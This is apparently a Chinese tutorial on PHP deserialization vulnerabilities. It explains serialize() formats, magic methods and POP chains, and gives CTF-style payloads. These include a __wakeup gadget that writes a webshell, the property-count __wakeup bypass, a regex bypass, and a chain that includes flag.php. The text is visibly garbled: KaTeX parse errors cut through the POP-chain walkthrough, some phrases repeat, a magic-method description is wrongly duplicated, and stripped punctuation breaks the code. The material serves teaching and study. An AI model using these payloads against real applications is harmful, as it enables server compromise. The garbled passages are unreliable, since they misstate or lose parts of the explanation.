一、类与对象这是关于PHP反序列化前置的核心知识1.类是一类事物的抽象表示对象则是类的实体简单说就是类就像一张 “设计图纸”规定了事物的属性特征和方法行为对象是根据这张图纸造出来的具体实例。举个例子User类是 “用户” 的抽象定义包含name姓名属性和login()登录方法而name姓名属性和login()登录方法而name姓名属性和login()登录方法而user1 new User()创建的$user1就是这个类的一个实体对象。2.类是表示彼此之间可能互不相同但必须具有相同特征的集合同一个类的所有对象都拥有类中定义的属性和方法但每个对象的属性值可以不同。比如User类下user1−name张三user1-name 张三user1−name张三user2-name “李四”它们都是User类的对象都有name属性但值不一样。3.类所包含的对象具有不同的属性值我们可以通过修改对象的属性值触发类中定义的方法进而构造 POP 链。这一点是 “多态性” 的基础也是反序列化中 “可控属性” 的关键 ——# 二、序列化与反序列化举例?php// 定义类设计图纸classUser{// 属性特征public$name;public$age;// 构造方法创建对象时自动执行publicfunction__construct($name,$age){$this-name$name;$this-age$age;}// 方法行为publicfunctionsayHello(){echo大家好我是{$this-name}今年{$this-age}岁;}}// 创建对象实体$user1newUser(张三,18);$user2newUser(李四,20);// 调用对象的方法$user1-sayHello();// 输出大家好我是张三今年18岁$user2-sayHello();// 输出大家好我是李四今年20岁?User是类urse1和user2是对象两个对象都有name和age属性但值不同都能调用类中定义的sayHello()方法。二、序列化与反序列化1.定义序列化 (Serialization)将 PHP 中复杂的数据结构如对象、数组转换为一个字节流字符串的过程。这个字符串包含了原对象的所有信息它的类名、属性名和属性值。本质上它是对象状态的一种 “快照”。反序列化 (Unserialization)序列化的逆过程。将这个字节流字符串重新恢复成原始的 PHP 数据结构对象或数组。这个过程重建了对象的状态。2.序列化的目的与serialize()函数序列化的核心目的数据持久化(Persistence)将对象的状态保存到文件或数据库中。例如在一个电商系统中用户的购物车对象可以被序列化后存入 Session以便在用户下次访问时恢复。数据传输(Data Transfer)在不同的 PHP 脚本或进程之间传递数据。例如在使用消息队列如 Redis、RabbitMQ时复杂的任务数据通常需要被序列化为字符串才能放入队列。复杂数据处理(Complex Data Handling)有时将复杂对象序列化为字符串后便于进行一些字符串层面的操作如加密、签名等。serialize()函数:PHP 提供了内置的serialize()函数来完成序列化操作。函数原型:string serialize(mixed $value)参数:$value 可以是除了资源resource类型之外的任何 PHP 数据类型。返回值: 返回一个包含字节流表示的字符串。示例serialize.php http://127.0.0.1/serialize.php?php// 定义一个简单的用户类classUser{public$name;public$age;publicfunction__construct($name,$age){$this-name$name;$this-age$age;}}// 创建一个User对象$usernewUser(LEO,18);// 序列化该对象$serialized_userserialize($user);// 输出序列化后的字符串echo序列化后的字符串\n;echo$serialized_user.\n;?输出O: 表示这是一个Object对象。4: 表示对象所属类名的长度。“User”: 类名。2: 表示该对象包含的属性数量。{ … }: 花括号内包含了所有属性的键值对。s:4:“name”: 第一个属性的键。s: 表示这是一个String字符串。4: 表示字符串的长度。“name”: 属性名。s:3:“LEO”: 第一个属性的值。s: 字符串类型。3: 值的长度。“LEO”: 属性值。s:3:“age”: 第二个属性的键。i:18: 第二个属性的值。i: 表示这是一个Integer整数。18: 整数值。其余参照类型结构说明NullN;表示一个 NULL 值。Booleanb:1; / b:0;1代表true0代表false。Integeri:123;存储整数值。Float/Doubled:3.1415;存储浮点数值。Strings:5:“hello”;s代表字符串5是长度hello是内容。Arraya:2:{i:0;s:5:“apple”;i:1;s:6:“banana”;}a代表数组2是元素个数。数组的键和值都会被序列化。ObjectObject如前所述。ReferenceR:1;当一个值被多次引用时PHP 会使用R来表示引用后面跟一个数字指向前面出现过的值。这可以节省空间并保持引用关系。示例序列化不同数据类型 serialize1.phphttp://127.0.0.1/serialize1.php?phpheader(Content-Type: text/html; charsetutf-8);// 用 array() 兼容旧版本 PHP$dataarray(null_valuenull,bool_valuetrue,int_value42,float_value3.14,string_valueHello World,array_valuearray(a,b,c),nested_arrayarray(useradmin,passsecret));echo序列化结果br;echohtmlspecialchars(serialize($data));?我们可以看到N 代表 nullb:1 代表 trueb:0 是 falsei:42 代表整数 42d:3.14 代表浮点数 3.14a:3:{…} 代表数组3 是元素个数嵌套数组也被完整序列化了serialize()能够非常完整地保存复杂数据结构的所有信息。3.反序列化与unserialize()函数定义反序列化是序列化的逆过程。它接收一个由serialize()生成的字符串并将其还原为原始的 PHP 变量、数组或对象。unserialize()函数:函数原型mixed unserialize(string $str)参数:$str 是一个有效的序列化字符串。返回值: 返回转换后的 PHP 值。如果传入的字符串无法被解析则返回false并产生一个E_NOTICE级别的错误。注当反序列化一个对象时PHP 必须知道如何重建这个对象。这意味着该对象所属的类的定义必须在当前的作用域中存在。如果类定义不存在unserialize()会创建一个__PHP_Incomplete_Class的对象这通常不是我们想要的结果。示例unserialize.phphttp://127.0.0.1/unserialize.php?php// 必须先定义User类否则反序列化会失败或得到不完整的对象classUser{public$name;public$age;}// 这是我们之前序列化得到的字符串$serialized_userO:4:User:2:{s:4:name;s:3:LEO;s:3:age;i:18;};// 反序列化$restored_userunserialize($serialized_user);// 验证结果echo反序列化后的对象\n;echoName: .$restored_user-name.\n;echoAge: .$restored_user-age.\n;var_dump($restored_user);?输出这样我们就成功地将字符串恢复成了一个完整的User对象。4.访问控制修饰符的影响PHP 类的属性有三种访问控制修饰符public, protected, 和 private它们决定了属性的可见范围。public: 公有属性。序列化时其属性名直接以字符串形式存储。protected: 受保护属性。序列化时属性名会被特殊处理前面会加 \0\0*。private: 私有属性。序列化时属性名也会被特殊处理且处理方式与protected不同 前面会加 \0 类名 \0。示例sanlx.phphttp://127.0.0.1/sanlx.php?phpheader(Content-Type: text/html; charsetutf-8);classTest{public$publicVarpublic;protected$protectedVarprotected;private$privateVarprivate;}$objnewTest();echoserialize($obj).\n;?建了一个类 Test类里有 3 个属性分别是public 公有的protected 受保护的private 私有的把这个对象序列化输出字符串注*和Test前会有不可见的空字符protected与private属性的序列化格式示例urlencode.phphttp://127.0.0.1/urlencode.php?phpheader(Content-Type: text/html; charsetutf-8);classTest{public$publicVarpublic;protected$protectedVarprotected;private$privateVarprivate;}$objnewTest();$serializedserialize($obj);echo原始序列化字符串\n.$serialized.\n\n;echoURL编码后\n.urlencode($serialized).\n;?protected属性:格式: %00*%00属性名%00代表 ASCII 中的空字符NULL byte, \0。所以protected $protectedVar被序列化为 \0*\0protectedVar。private属性:格式: %00类名%00属性名所以private $privateVar在Test类中被序列化为 \0Test\0privateVar。5.反序列化漏洞的核心 —— 魔术方法PHP 为类提供了一系列以双下划线__开头的特殊方法称为魔术方法。。这些方法在特定情况下会被自动调用无需手动触发。常见的一些魔术方法魔术方法触发时机安全利用潜力__construct()对象创建时反序列化过程不会调用__construct。__destruct()对象销毁时极高。对象在脚本结束或被 unset 时总会调用是最常见的利用点。__wakeup()反序列化之后极高。对象在脚本结束或被 unset 时总会调用是最常见的利用点。__sleep()序列化之前较低。通常用于清理对象返回需要序列化的属性数组。__toString()对象被当作字符串使用时高。例如 echo $obj; 或字符串拼接。__call()调用一个不存在或不可访问的方法时高。可用于方法调用链的跳转。__callStatic()调用一个不存在或不可访问的静态方法时高。__set()写入一个不存在或不可访问的属性时中。__isset()对一个不存在或不可访问的属性调用isset()时较低。__unset()对一个不存在或不可访问的属性调用unset()时较低。__invoke()尝试将对象当作函数调用时高。例如 $obj();。示例魔术方法的触发moshu.phphttp://127.0.0.1/moshu.php?phpheader(Content-Type: text/html; charsetutf-8);classMagicDemo{publicfunction__construct(){echo__construct 被调用\n;}publicfunction__destruct(){echo__destruct 被调用\n;}publicfunction__wakeup(){echo__wakeup 被调用\n;}publicfunction__toString(){return__toString 被调用\n;}publicfunction__call($name,$arguments){echo__call 被调用方法名:$name\n;}}echo--- 创建对象 ---\n;$objnewMagicDemo();// 触发 __constructecho\n--- 序列化 ---\n;$serserialize($obj);echo\n--- 反序列化 ---\n;$obj2unserialize($ser);// 触发 __wakeupecho\n--- 当作字符串使用 ---\n;echo$obj2;// 触发 __toStringecho\n--- 调用不存在的方法 ---\n;$obj2-nonexistentMethod();// 触发 __callecho\n--- 脚本结束 ---\n;// 触发 $obj 和 $obj2 的 __destruct?清晰地展示了各个魔术方法的触发时机。反序列化漏洞的本质就是通过控制对象属性在这些魔术方法被自动调用时执行我们预设的恶意操作。三、反序列化利用反序列化漏洞的本质是你能控制 unserialize() 的输入序列化字符串你可以通过伪造类、修改属性值触发类中的魔法函数__wakeup / __destruct / __toString 等进而执行危险操作写文件、执行命令、读取 flag 等整个利用过程可以拆解为三步1.控制类变量伪造类修改属性值2.触发魔法函数让反序列化过程自动执行危险代码3.绕过防护比如绕过 __wakeup、绕过正则过滤第一步控制任意类变量伪造类核心原理反序列化时PHP 不检查类的权限只认序列化格式。意思就是反序列化的过程不会检查对象是否合法创建。只要序列化格式正确你可以修改任何属性的值包括 private、protected、public全部可以强行篡改。这就是反序列化越权的根本原理。如果我们可以在反序列化数据传输的时候控制反序列化数据具体方法是我们可以**伪造一个假类**进行序列化并用假类序列化的字符串替代原本的类。核心规则伪造的类必须和原类的类名、变量名完全一致可修改变量的值甚至把 private/protected 变量改成你想要的内容序列化字符串里的属性个数、长度必须和实际一致示例sys.php?phpheader(Content-Type: text/html; charsetutf-8);$KEYadmin;// 正确密钥是字符串admin$str$_GET[str];// 用户传入 str 参数if(unserialize($str)$KEY){// 关键全等比较 值相同类型相同echo$flag;// 比较成功就输出 flag}show_source(__FILE__);?但是开发者却认为这非常安全用户只能传字符串进来unserialize () 反序列化出来的是 对象 / 数组对象 怎么可能 字符串 “admin”不可能绝对安全但其实反序列化不一定只能反序列化对象字符串、数字、数组、布尔、null 全都能序列化例如序列化字符串 admin能得到s:5:admin;攻击者思路就是我们不传递对象我们直接传递序列化后的字符串反序列化后得到的就是 字符串 “admin”字符串 字符串 → 成立s:5:admin; → 反序列化 → admin访问http://127.0.0.1/sys.php?strs:5:%22admin%22;?phpheader(Content-Type: text/html; charsetutf-8);$KEYadmin;$str$_GET[str];// 去掉自动添加的转义反斜杠if(get_magic_quotes_gpc()){$strstripslashes($str);}$resunserialize($str);// 调试输出echo传入的str: .htmlspecialchars($str).br;echo反序列化结果: ;var_dump($res);echobr是否全等: .($res$KEY?是:否).br;if($res$KEY){echo✅ 成功flag{test_flag};}show_source(__FILE__);?stripslashes() 会把admin 还原成 “admin”第二步操纵魔法函数自动执行无需操作**示例**通过 __wakeup 写 Shellwake.php?phpclassDecade{var$test123;function__wakeup(){$fpfopen(shell.php,w);fwrite($fp,$this-test);fclose($fp);}}$class3$_GET[test];$class3_unserunserialize($class3);requireshell.php;?__wakeup 里的代码会把 $this-test 写入 shell.php需要把 $test 改成 PHP 代码就能写入一句话木马构造Payload:?testO:6:Decade:1:{s:4:test;s:19:?php phpinfo(); ?;}访问http://127.0.0.1/wake.php?testO:6:%22Decade%22:1:{s:4:%22test%22;s:19:%22%3C?php%20phpinfo();%20?%3E%22;}反序列化后$test 被改成 ?php phpinfo(); ?__wakeup 自动执行把代码写入wake.php访问 wake.php就能执行 PHP 代码第三步绕过1.__wakeup 失效原理当序列化字符串中表示属性个数的值大于实际属性个数时__wakeup 会被跳过不执行用法原序列化O:4:“User”:2:{…}属性个数 2绕过 PayloadO:4:“User”:3:{…}把 2 改成 3场景当 __wakeup 里有防御代码比如清理属性可以用这个漏洞跳过直接执行 __destruct 或其他后续操作2.号绕过正则过滤场景当 WAF 或代码用正则过滤序列化字符串比如 /[oc]:\d:/i匹配 O:数字: 或 C:数字:原理PHP 的序列化解析器允许在数字前加 号比如 O:4:“User” 和 O:4:“User” 效果完全一样用法原字符串O:4:“Demo”:1:{…}绕过 PayloadO:4:“Demo”:1:{…}正则匹配不到 O:4直接绕过过滤四、POP链的构造**1.核心定义**通过控制反序列化对象的属性触发类中的魔术方法再通过魔术方法调用其他类的方法形成一条可执行危险操作的调用链。“反序列化 → 魔术方法 → 其他类方法 → 危险函数” 串成一条链实现从可控输入到 getshell / 读 flag 的完整攻击流程。让这些调用“跳”到我们可控的其他类方法里最终执行危险代码。2.POP 链的核心组件魔术方法魔术方法触发时机在 POP 链中的作用__wakeup()反序列化完成后立即执行POP 链的常见起点用来触发第一次调用__toString()对象被当作字符串使用时触发常用跳转点可被字符串操作触发__get()访问类中不存在的属性时触发常用跳转点可用来触发下一个类的方法__invoke()对象被当作函数调用时触发常用终点可执行危险函数 / 文件操作POP 链完整流程反序列化 → Show::__wakeup()→ Show::__toString()→ Test::__get()→ Modifier::__invoke()→ include(flag.php)第一步反序列化触发Show::__wakeup()我们构造Show类的对象反序列化时自动执行__wakeup()__wakeup()中通过preg_match判断$this-source是否为Show类若是则触发echoKaTeX parse error: Expected group after _ at position 27: …e把对象当作字符串使用触发_̲_toString()。 第二…this-str-source我们把KaTeX parse error: Expected group after _ at position 50: …e属性因此会触发Test::_̲_get()。 第三步Tes…this-p)(key)把key)把key)把this-p当作函数调用我们把KaTeX parse error: Expected group after _ at position 48: …时会触发Modifier::_̲_invoke()。 第四步…var)我们传入flag.php作为参数即可读取 flag 文件内容。最终 Payload 构造?php// 1. 构造Modifier类终点$modifiernewModifier();// 2. 构造Test类p赋值为Modifier对象$testnewTest();$test-p$modifier;// 3. 构造Show类source和str都赋值为Show对象触发__toString()和__get()$shownewShow();$show-sourcenewShow();// 让preg_match匹配成功$show-str$test;// 4. 序列化生成Payloadechourlencode(serialize($show));?生成的 Payload 传入?popxxx即可触发完整 POP 链读取 flag。总结1.POP 链本质通过控制属性把魔术方法和类方法串成一条调用链最终执行危险操作。2.链的起点通常是__wakeup()反序列化自动执行或__destruct()对象销毁时执行。3.链的跳转利用__toString()/__get()/__invoke()等魔术方法在不同类之间跳转。4.链的终点通常是包含危险操作的方法如文件包含、命令执行、数据库操作等。5.构造步骤找可控点unserialize()的输入找链的起点__wakeup/__destruct分析方法调用关系找到可跳转的魔术方法控制属性把对象串成一条链序列化生成 Payload发送攻击POP 链的常见类型类型核心利用方式典型场景读文件链include()/file_get_contents()读取 flag、配置文件命令执行链system()/exec()/popen()执行系统命令getshell代码执行链eval()/assert()执行 PHP 代码SQL 注入链魔术方法中调用 SQL 查询注入数据库获取数据